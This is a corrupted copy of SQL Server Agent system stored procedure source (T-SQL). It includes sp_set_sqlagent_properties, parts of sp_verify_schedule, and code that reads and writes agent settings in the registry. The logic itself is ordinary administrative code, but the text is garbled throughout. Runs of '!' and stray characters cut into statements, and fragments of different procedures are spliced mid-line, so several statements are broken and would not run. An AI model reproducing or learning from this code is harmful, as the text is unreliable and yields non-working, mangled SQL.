                                         @job_shutdown_timeout OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'CmdExecAccount',
                                         @cmdexec_account OUTPUT,
                                         N'no_output'
  SET @regular_connections = 0
  SET @host_login_name = NULL
  SET @host_login_password = NULL

  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'LoginTimeout',
                                         @login_timeout OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'IdleCPUPercent',
                                         @idle_cpu_percent OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'IdleCPUDuration',
                                         @idle_cpu_duration OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'OemErrorLog',
                                         @oem_errorlog OUTPUT,
                                         N'no_output'

  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'EmailProfile',
                                         @email_profile OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`< e


        N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'EmailSaveSent',
                                         @email_save_in_sent_folder OUTPUT,
                                         N'no_output'

  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'AlertReplaceRuntimeTokens',
                                         @alert_replace_runtime_tokens OUTPUT,
                                         N'no_output'

  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'CoreEngineMask',
                                         @cpu_poller_enabled OUTPUT,
                                         N'no_output'
  IF (@cpu_poller_enabled IS NOT NULL)
    SELECT @cpu_poller_enabled = CASE WHEN (@cpu_poller_enabled & 32) = 32 THEN 0 ELSE 1 END

  -- Return the values to the client
  SELECT auto_start = CASE @auto_start
                        WHEN 2 THEN 1 -- 2 means auto-start
                        WHEN 3 THEN 0 -- 3 means don't auto-start
                        ELSE 0        -- Safety net
                      END,
         msx_server_name = @msx_server_name,
         sqlagent_type = (SELECT CASE
                                    WHEN (COUNT(*) = 0) AND (ISNULL(DATALENGTH(@msx_server_name), 0) = 0) THEN 1 -- Standalone
                                    WHEN (COUNT(*) = 0) AND (ISNULL(DATALENGTH(@msx_server_name), 0) > 0) THEN 2 -- TSX
                                    WHEN (COUNT(*) > 0) AND (ISNULL(DATALENGTH(@msx_server_name), 0) = 0) THEN 3 -- MSX
                                    WHEN (COUNT(*) > 0) AND (ISNULL(DATALENGTH(@msx_server_name), 0) > 0) THEN 0 -- Multi-Level MSX (currently invalid)
                                    ELSE 0 -- Invalid
                                  END
                           FROM msdb.dbo.systargetservers),
         startup_account = @startup_account,

         -- Non-SQLDMO exposed properties
         sqlserver_restart = ISNULL(@sqlserver_restart, 1),
         jobhistory_max_rows = @jobhistory_max_rows,
         jobhistory_max_rows_per_job = @jobhistory_max_rows_per_job,
         errorlog_file = @errorlog_file,
         errorlogging_level = ISNULL(@errorlogging_level, 7),
         error_recipient = @error_recipient,
         monitor_autostart = ISNULL(@monitor_autostart, 0),
         local_host_server = @local_host_server,
         job_shutdown_timeout = ISNULL(@job_shutdown_timeout, 15),
         cmdexec_account = @cmdexec_account,
         regular_connections = ISNULL(@regular_connections, 0),
         host_login_name = @host_login_name,
         host_login_password = @host_login_password,
         login_timeout = ISNULL(@login_timeout, 30),
         idle_cpu_percent = ISNULL(@idle_cpu_percent, 10),
         idle_cpu_duration = ISNULL(@idle_cpu_duration, 600),
         oem_errorlog = ISNULL(@oem_errorlog, 0),
         sysadmin_only = NULL,
         email_profile = @email_profile,
         email_save_in_sent_folder = ISNULL(@email_save_in_sent_folder, 0),
         cpu_poller_enabled = ISNULL(@cpu_poller_enabled, 0),
         alert_replace_runtime_tokens = ISNULL(@alert_replace_runtime_tokens, 0)
END
/
/_subday_type.
  IF (@freq_subday_type = 0)
    SELECT @freq_subday_type = 0x1 -- FREQSUBTYPE_ONCE

  IF ((@freq_subday_type <> 0x1) AND  -- FREQSUBTYPE_ONCE   (see qsched.h)
      (@freq_subday_type <> 0x2) AND  -- FREQSUBTYPE_SECOND (see qsched.h)
      (@freq_subday_type <> 0x4) AND  -- FREQSUBTYPE_MINUTE (see qsched.h)
      (@freq_subday_type <> 0x8))     -- FREQSUBTYPE_HOUR   (see qsched.h)
  BEGIN
    SELECT @reason = FORMATMESSAGE(14266, '@freq_subday_type', '0x1, 0x2, 0x4, 0x8')
    RAISERROR(14278, -1, -1, @reason)
    RETURN(1) -- Failure
  END

  IF ((@freq_subday_type <> 0x1) AND (@freq_subday_interval < 1)) -- FREQSUBTYPE_ONCE and less than 1 interval
     OR
     ((@freq_subday_type = 0x2) AND (@freq_subday_interval < 10)) -- FREQSUBTYPE_SECOND and less than 10 seconds (see MIN_SCHEDULE_GRANULARITY in SqlAgent source code)
  BEGIN
    SELECT @reason = FORMATMESSAGE(14200, '@freq_subday_interval')
    RAISERROR(14278, -1, -1, @reason)
    RETURN(1) -- Failure
  END

  IF (@freq_type = 0x4)      -- FREQTYPE_DAILY
  BEGIN
    SELECT @freq_recurrence_factor = 0
    IF (@freq_interval < 1)
    BEGIN
      SELECT @reason = FORMATMESSAGE(14572)
      RAISERROR(14278, -1, -1, @reason)
      RETURN(1) -- Failure
    END
  END

  IF (@freq_type = 0x8)      -- FREQTYPE_WEEKLY
  BEGIN
    IF (@freq_interval < 1)   OR
       (@freq_interval > 127) -- (2^7)-1 [freq_interval is a bitmap (Sun=1..Sat=64)]
    BEGIN
      SELECT @reason = FORMATMESSAGE(14573)
      RAISERROR(14278, -1, -1, @reason)
      RETURN(1) -- Failure
    END

  END

  IF (@freq_type = 0x10)    -- FREQTYPE_MONTHLY
  BEGIN
    IF (@freq_interval < 1)  OR
       (@freq_interval > 31)
    BEGIN
      SELECT @reason = FORMATMESSAGE(14574)
      RAISERROR(14278, -1, -1, @reason)
      RETURN(1) -- Failure
    END

  END

  IF (@freq_type = 0x20)     -- FREQTYPE_MONTHLYRELATIVE
  BEGIN
    IF (@freq_relative_interval <> 0x01) AND  -- RELINT_1ST
       (@freq_relative_interval <> 0x02) AND  -- RELINT_2ND
       (@freq_relative_interval <> 0x04) AND  -- RELINT_3RD
       (@freq_relative_interval <> 0x08) AND  -- RELINT_4TH
       (@freq_relative_interval <> 0x10)      -- RELINT_LAST
    BEGIN
      SELECT @reason = FORMATMESSAGE(14575)
      RAISERROR(14278, -1, -1, @reason)
      RETURN(1) -- Failure
    END
  END

  IF (@freq_type = 0x20)     -- FREQTYPE_MONTHLYRELATIVE
  BEGIN
    IF (@freq_interval <> 01) AND -- RELATIVE_SUN
       (@freq_interval <> 02) AND -- RELATIVE_MON
       (@freq_interval <> 03) AND -- RELATIVE_TUE
       (@freq_interval <> 04) AND -- RELATIVE_WED
       (@freq_interval <> 05) AND -- RELATIVE_THU
       (@freq_interval <> 06) AND -- RELATIVE_FRI
       (@freq_interval <> 07) AND -- RELATIVE_SAT
       (@freq_interval <> 08) AND -- RELATIVE_DAY
       (@freq_interval <> 09) AND -- RELATIVE_WEEKDAY
       (@freq_interval <> 10)     -- RELATIVE_WEEKENDDAY
    BEGIN
      SELECT @reason = FORMATMESSAGE(14576)
      RAISERROR(14278, -1, -1, @reason)
      RETURN(1) -- Failure
    END
  END

  IF ((@freq_type = 0x08)  OR   -- FREQTYPE_WEEKLY
      (@freq_type = 0x10)  OR   -- FREQTYPE_MONTHLY
      (@freq_type = 0x20)) AND  -- FREQTYPE_MONTHLYRELATIVE
      (@freq_recurrence_factor < 1)
  BEGIN
    SELECT @reason = FORMATMESSAGE(14577)
    RAISERROR(14278, -1, -1, @reason)
    RETURN(1) -- Failure
  END

ExitProc:
  -- If we made it this far the schedule is good
  RETURN(0) -- Success

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"`<({vr&v
CREATE PROCEDURE dbo.sp_set_sqlagent_properties
  @auto_start                  INT           = NULL, -- 1 or 0
  -- Non-SQLDMO exposed properties
  @sqlserver_restart           INT           = NULL, -- 1 or 0
  @jobhistory_max_rows         INT           = NULL, -- No maximum = -1, otherwise must be > 1
  @jobhistory_max_rows_per_job INT           = NULL, -- 1 to @jobhistory_max_rows
  @errorlog_file               NVARCHAR(255) = NULL, -- Full drive\path\name of errorlog file
  @errorlogging_level          INT           = NULL, -- 1 = error, 2 = warning, 4 = information
  @error_recipient             NVARCHAR(30)  = NULL, -- Network address of error popup recipient
  @monitor_autostart           INT           = NULL, -- 1 or 0
  @local_host_server           sysname      = NULL, -- Alias of local host server
  @job_shutdown_timeout        INT           = NULL, -- 5 to 600 seconds
  @cmdexec_account             VARBINARY(64) = NULL, -- CmdExec account information
  @regular_connections         INT           = NULL, -- obsolete
  @host_login_name             sysname       = NULL, -- obsolete
  @host_login_password         VARBINARY(512) = NULL, -- obsolete
  @login_timeout               INT           = NULL, -- 5 to 45 (seconds)
  @idle_cpu_percent            INT           = NULL, -- 1 to 100
  @idle_cpu_duration           INT           = NULL, -- 20 to 86400 seconds
  @oem_errorlog                INT           = NULL, -- 1 or 0
  @sysadmin_only               INT           = NULL, -- not applicable to Yukon server, for backwards compatibility only
  @email_profile               NVARCHAR(64)  = NULL, -- Email profile name
  @email_save_in_sent_folder   INT           = NULL, -- 1 or 0
  @cpu_poller_enabled          INT           = NULL, -- 1 or 0
  @alert_replace_runtime_tokens INT          = NULL, -- 1 or 0
  @use_databasemail            INT           = NULL,  -- 1 or 0
  @databasemail_profile        SYSNAME       = NULL

AS
BEGIN
  -- NOTE: We set all SQLServerAgent properties at one go for performance reasons.
  -- NOTE: You cannot set the value of the properties msx_server_name, is_msx or
  --       startup_account - they are all read only.

  DECLARE @res_valid_range           NVARCHAR(100)
  DECLARE @existing_core_engine_mask INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @errorlog_file     = LTRIM(RTRIM(@errorlog_file))
  SELECT @error_recipient   = LTRIM(RTRIM(@error_recipient))
  SELECT @local_host_server = LTRIM(RTRIM(@local_host_server))
  SELECT @host_login_name   = LTRIM(RTRIM(@host_login_name))
  SELECT @email_profile     = LTRIM(RTRIM(@email_profile))

  -- Make sure values (if supplied) are good
  IF (@auto_start IS NOT NULL)
  BEGIN
    -- NOTE: When setting the the services start value, 2 == auto-start, 3 == Don't auto-start
    SELECT @auto_start = CASE @auto_start
                           WHEN 0 THEN 3
                           WHEN 1 THEN 2
                           ELSE 3 -- Assume non auto-start if passed a junk value
                          END
  END

  -- Non-SQLDMO exposed properties
  IF ((@sqlserver_restart IS NOT NULL) AND (@sqlserver_restart <> 0))
    SELECT @sqlserver_restart = 1

  IF (@jobhistory_max_rows IS NOT NULL)
  BEGIN
    SELECT @res_valid_range = FORMATMESSAGE(14207)
    IF ((@jobhistory_max_rows < -1) OR (@jobhistory_max_rows = 0))
    BEGIN
      RAISERROR(14266, -1, -1, '@jobhistory_max_rows', @res_valid_range)
      RETURN(1) -- Failure
    END
  END
  ELSE
  BEGIN
    EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                           N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                           N'JobHistoryMaxRows',
                                           @jobhistory_max_rows OUTPUT,
                                           N'no_output'
    SELECT @jobhistory_max_rows = ISNULL(@jobhistory_max_rows, -1)
  END

  IF (@jobhistory_max_rows_per_job IS NOT NULL)
  BEGIN
    IF (@jobhistory_max_rows = -1)
      SELECT @jobhistory_max_rows_per_job = 0
    ELSE
    BEGIN
      IF ((@jobhistory_max_rows_per_job < 1) OR (@jobhistory_max_rows_per_job > @jobhistory_max_rows))
      BEGIN
        SELECT @res_valid_range = N'1..' + CONVERT(NVARCHAR, @jobhistory_max_rows)
        RAISERROR(14266, -1, -1, '@jobhistory_max_rows', @res_valid_range)
        RETURN(1) -- Failure
      END
    END
  END

  IF (@errorlogging_level IS NOT NULL) AND ((@errorlogging_level < 1) OR (@errorlogging_level > 7))
  BEGIN
    RAISERROR(14266, -1, -1, '@errorlogging_level', '1..7')
    RETURN(1) -- Failure
  END

  IF (@monitor_autostart IS NOT NULL) AND ((@monitor_autostart < 0) OR (@monitor_autostart > 1))
  BEGIN
    RAISERROR(14266, -1, -1, '@monitor_autostart', '0, 1')
    RETURN(1) -- Failure
  END

  IF (@job_shutdown_timeout IS NOT NULL) AND ((@job_shutdown_timeout < 5) OR (@job_shutdown_timeout > 600))
  BEGIN
    RAISERROR(14266, -1, -1, '@job_shutdown_timeout', '5..600')
    RETURN(1) -- Failure
  END

  IF (@login_timeout IS NOT NULL) AND ((@login_timeout < 5) OR (@login_timeout > 45))
  BEGIN
    RAISERROR(14266, -1, -1, '@login_timeout', '5..45')
    RETURN(1) -- Failure
  END

  IF ((@idle_cpu_percent IS NOT NULL) AND ((@idle_cpu_percent < 1) OR (@idle_cpu_percent > 100)))
  BEGIN
    RAISERROR(14266, -1, -1, '@idle_cpu_percent', '10..100')
    RETURN(1) -- Failure
  END

  IF ((@idle_cpu_duration IS NOT NULL) AND ((@idle_cpu_duration < 20) OR (@idle_cpu_duration > 86400)))
  BEGIN
    RAISERROR(14266, -1, -1, '@idle_cpu_duration', '20..86400')
    RETURN(1) -- Failure
  END

  IF (@oem_errorlog IS NOT NULL) AND ((@oem_errorlog < 0) OR (@oem_errorlog > 1))
  BEGIN
    RAISERROR(14266, -1, -1, '@oem_errorlog', '0, 1')
    RETURN(1) -- Failure
  END

  IF (@sysadmin_only IS NOT NULL)
  BEGIN
    RAISERROR(14378, -1, -1)
    RETURN(1) -- Failure
  END

  IF (@email_save_in_sent_folder IS NOT NULL) AND ((@email_save_in_sent_folder < 0) OR (@email_save_in_sent_folder > 1))
  BEGIN
    RAISERROR(14266, -1, -1, 'email_save_in_sent_folder', '0, 1')
    RETURN(1) -- Failure
  END

  IF (@cpu_poller_enabled IS NOT NULL) AND ((@cpu_poller_enabled < 0) OR (@cpu_poller_enabled > 1))
  BEGIN
    RAISERROR(14266, -1, -1, 'cpu_poller_enabled', '0, 1')
    RETURN(1) -- Failure
  END

  IF (@alert_replace_runtime_tokens IS NOT NULL) AND ((@alert_replace_runtime_tokens < 0) OR (@alert_replace_runtime_tokens > 1))
  BEGIN
    RAISERROR(14266, -1, -1, 'alert_replace_runtime_tokens', '0, 1')
    RETURN(1) -- Failure
  END

  -- Write out the values
  IF (@auto_start IS NOT NULL)
  BEGIN
    IF ((PLATFORM() & 0x1) = 0x1) -- NT
    BEGIN
      DECLARE @key NVARCHAR(200)

      SELECT @key = N'SYSTEM\CurrentControlSet\Services\'
      IF (SERVERPROPERTY('INSTANCENAME') IS NOT NULL)
        SELECT @key = @key + N'SQLAgent$' + CONVERT (sysname, SERVERPROPERTY('INSTANCENAME'))
      ELSE
        SELECT @key = @key + N'SQLServerAgent'

      EXECUTE master.dbo.xp_regwrite N'HKEY_LOCAL_MACHINE',
                                     @key,
                                     N'Start',
                                     N'REG_DWORD',
                                     @auto_start
    END
    ELSE
      RAISERROR(14546, 16, 1, '@auto_start')
  END

  -- Non-SQLDMO exposed properties
  IF (@sqlserver_restart IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'RestartSQLServer',
                                            N'REG_DWORD',
                                            @sqlserver_restart
  IF (@jobhistory_max_rows IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<({v                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'JobHistoryMaxRows',
                                            N'REG_DWORD',
                                            @jobhistory_max_rows
  IF (@jobhistory_max_rows_per_job IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'JobHistoryMaxRowsPerJob',
                                            N'REG_DWORD',
                                            @jobhistory_max_rows_per_job
  IF (@errorlog_file IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'ErrorLogFile',
                                            N'REG_SZ',
                                            @errorlog_file
  IF (@errorlogging_level IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'ErrorLoggingLevel',
                                            N'REG_DWORD',
                                            @errorlogging_level
  IF (@error_recipient IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'ErrorMonitor',
                                            N'REG_SZ',
                                            @error_recipient
  IF (@monitor_autostart IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'MonitorAutoStart',
                                            N'REG_DWORD',
                                            @monitor_autostart
  IF (@local_host_server IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'ServerHost',
                                            N'REG_SZ',
                                            @local_host_server
  IF (@job_shutdown_timeout IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'JobShutdownTimeout',
                                            N'REG_DWORD',
                                            @job_shutdown_timeout
  IF (@cmdexec_account IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'CmdExecAccount',
                                            N'REG_BINARY',
                                            @cmdexec_account

  IF (@login_timeout IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'LoginTimeout',
                                            N'REG_DWORD',
                                            @login_timeout
  IF (@idle_cpu_percent IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'IdleCPUPercent',
                                            N'REG_DWORD',
                                            @idle_cpu_percent
  IF (@idle_cpu_duration IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'IdleCPUDuration',
                                            N'REG_DWORD',
                                            @idle_cpu_duration
  IF (@oem_errorlog IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'OemErrorLog',
                                            N'REG_DWORD',
                                            @oem_errorlog

  IF (@email_profile IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'EmailProfile',
                                            N'REG_SZ',
                                            @email_profile
  IF (@email_save_in_sent_folder IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'EmailSaveSent',
                                            N'REG_DWORD',
                                            @email_save_in_sent_folder

  IF (@alert_replace_runtime_tokens IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'AlertReplaceRuntimeTokens',
                                            N'REG_DWORD',
                                            @alert_replace_runtime_tokens  
  IF (@cpu_poller_enabled IS NOT NULL)
  BEGIN
    EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                           N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                           N'CoreEngineMask',
                                           @existing_core_engine_mask OUTPUT,
                                           N'no_output'

  

    IF ((@existing_core_engine_mask IS NOT NULL) OR (@cpu_poller_enabled = 1))
    BEGIN
      IF (@cpu_poller_enabled = 1)
        SELECT @cpu_poller_enabled = (ISNULL(@existing_core_engine_mask, 0) & ~32)
      ELSE
        SELECT @cpu_poller_enabled = (ISNULL(@existing_core_engine_mask, 0) | 32)

      IF ((@existing_core_engine_mask IS NOT NULL) AND (@cpu_poller_enabled = 32))
        EXECUTE master.dbo.xp_instance_regdeletevalue N'HKEY_LOCAL_MACHINE',
                                                      N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                                      N'CoreEngineMask'
      ELSE
        EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                                N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                                N'CoreEngineMask',
                                                N'REG_DWORD',
                                                @cpu_poller_enabled
    END
  END

  DECLARE @notify_sqlagent_dbmail_settings_update BIT
  SET @notify_sqlagent_dbmail_settings_update = 0
  IF(@use_databasemail IS NOT NULL)
  BEGIN
      
     EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'UseDatabaseMail',
                                            N'REG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<( eiv/CREATE PROCEDURE sp_verify_schedule
  @schedule_id            INT,
  @name                   sysname,
  @enabled                TINYINT,
  @freq_type              INT,          
  @freq_interval          INT OUTPUT,   -- Output because we may set it to 0 if Frequency Type is one-time or auto-start
  @freq_subday_type       INT OUTPUT,   -- As above
  @freq_subday_interval   INT OUTPUT,   -- As above
  @freq_relative_interval INT OUTPUT,   -- As above
  @freq_recurrence_factor INT OUTPUT,   -- As above
  @active_start_date      INT OUTPUT,
  @active_start_time      INT OUTPUT,
  @active_end_date        INT OUTPUT,
  @active_end_time        INT OUTPUT,
  @owner_sid              VARBINARY(85) --Must be a valid sid. Will fail if this is NULL
AS
BEGIN
  DECLARE @return_code             INT
  DECLARE @res_valid_range         NVARCHAR(100)
  DECLARE @reason                  NVARCHAR(200)
  DECLARE @isAdmin                 INT
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name = LTRIM(RTRIM(@name))

  -- Make sure that NULL input/output parameters - if NULL - are initialized to 0
  SELECT @freq_interval          = ISNULL(@freq_interval, 0)
  SELECT @freq_subday_type       = ISNULL(@freq_subday_type, 0)
  SELECT @freq_subday_interval   = ISNULL(@freq_subday_interval, 0)
  SELECT @freq_relative_interval = ISNULL(@freq_relative_interval, 0)
  SELECT @freq_recurrence_factor = ISNULL(@freq_recurrence_factor, 0)
  SELECT @active_start_date      = ISNULL(@active_start_date, 0)
  SELECT @active_start_time      = ISNULL(@active_start_time, 0)
  SELECT @active_end_date        = ISNULL(@active_end_date, 0)
  SELECT @active_end_time        = ISNULL(@active_end_time, 0)


  -- Check owner 
  IF(ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1)
    SELECT @isAdmin = 1
  ELSE
    SELECT @isAdmin = 0


  -- If a non-sa is [illegally] trying to create a schedule for another user then raise an error
  IF ((@isAdmin <> 1) AND 
      (ISNULL(IS_MEMBER('SQLAgentOperatorRole'),0) <> 1 AND @schedule_id IS NULL) AND
      (@owner_sid <> SUSER_SID()))
  BEGIN
     RAISERROR(14366, -1, -1)
     RETURN(1) -- Failure
  END


  -- Now just check that the login id is valid (ie. it exists and isn't an NT group)
  IF (@owner_sid <> 0x010100000000000512000000) AND -- NT AUTHORITY\SYSTEM sid
     (@owner_sid <> 0x010100000000000514000000)     -- NT AUTHORITY\NETWORK SERVICE sid
  BEGIN
     IF (@owner_sid IS NULL) OR (EXISTS (SELECT *
                                      FROM master.dbo.syslogins
                                      WHERE (sid = @owner_sid)
                                      AND (isntgroup <> 0)))
     BEGIN
       -- NOTE: In the following message we quote @owner_login_name instead of @owner_sid
       --       since this is the parameter the user passed to the calling SP (ie. either
       --       sp_add_schedule, sp_add_job and sp_update_job)
       SELECT @res_valid_range = FORMATMESSAGE(14203)
       RAISERROR(14234, -1, -1, '@owner_login_name', @res_valid_range)
       RETURN(1) -- Failure
     END
  END
  
  -- Verify name (we disallow schedules called 'ALL' since this has special meaning in sp_delete_jobschedules)
  IF (UPPER(@name collate SQL_Latin1_General_CP1_CS_AS) = N'ALL')
  BEGIN
    RAISERROR(14200, -1, -1, '@name')
    RETURN(1) -- Failure
  END

  -- Verify enabled state
  IF (@enabled <> 0) AND (@enabled <> 1)
  BEGIN
    RAISERROR(14266, -1, -1, '@enabled', '0, 1')
    RETURN(1) -- Failure
  END

  -- Verify frequency type
  IF (@freq_type = 0x2) -- OnDemand is no longer supported
  BEGIN
    RAISERROR(14295, -1, -1)
    RETURN(1) -- Failure
  END
  IF (@freq_type NOT IN (0x1, 0x4, 0x8, 0x10, 0x20, 0x40, 0x80))
  BEGIN
    RAISERROR(14266, -1, -1, '@freq_type', '1, 4, 8, 16, 32, 64, 128')
    RETURN(1) -- Failure
  END

  -- Verify frequency sub-day type
  IF (@freq_subday_type <> 0) AND (@freq_subday_type NOT IN (0x1, 0x2, 0x4, 0x8))
  BEGIN
    RAISERROR(14266, -1, -1, '@freq_subday_type', '0x1, 0x2, 0x4, 0x8')
    RETURN(1) -- Failure
  END

  -- Default active start/end date/times (if not supplied, or supplied as NULLs or 0)
  IF (@active_start_date = 0)
    SELECT @active_start_date = DATEPART(yy, GETDATE()) * 10000 +
                                DATEPART(mm, GETDATE()) * 100 +
                                DATEPART(dd, GETDATE()) -- This is an ISO format: "yyyymmdd"
  IF (@active_end_date = 0)
    SELECT @active_end_date = 99991231  -- December 31st 9999
  IF (@active_start_time = 0)
    SELECT @active_start_time = 000000  -- 12:00:00 am
  IF (@active_end_time = 0)
    SELECT @active_end_time = 235959    -- 11:59:59 pm

  -- Verify active start/end dates
  IF (@active_end_date = 0)
    SELECT @active_end_date = 99991231

  EXECUTE @return_code = sp_verify_job_date @active_end_date, '@active_end_date'
  IF (@return_code <> 0)
    RETURN(1) -- Failure

  EXECUTE @return_code = sp_verify_job_date @active_start_date, '@active_start_date'
  IF (@return_code <> 0)
    RETURN(1) -- Failure

  IF (@active_end_date < @active_start_date)
  BEGIN
    RAISERROR(14288, -1, -1, '@active_end_date', '@active_start_date')
    RETURN(1) -- Failure
  END

  EXECUTE @return_code = sp_verify_job_time @active_end_time, '@active_end_time'
  IF (@return_code <> 0)
    RETURN(1) -- Failure

  EXECUTE @return_code = sp_verify_job_time @active_start_time, '@active_start_time'
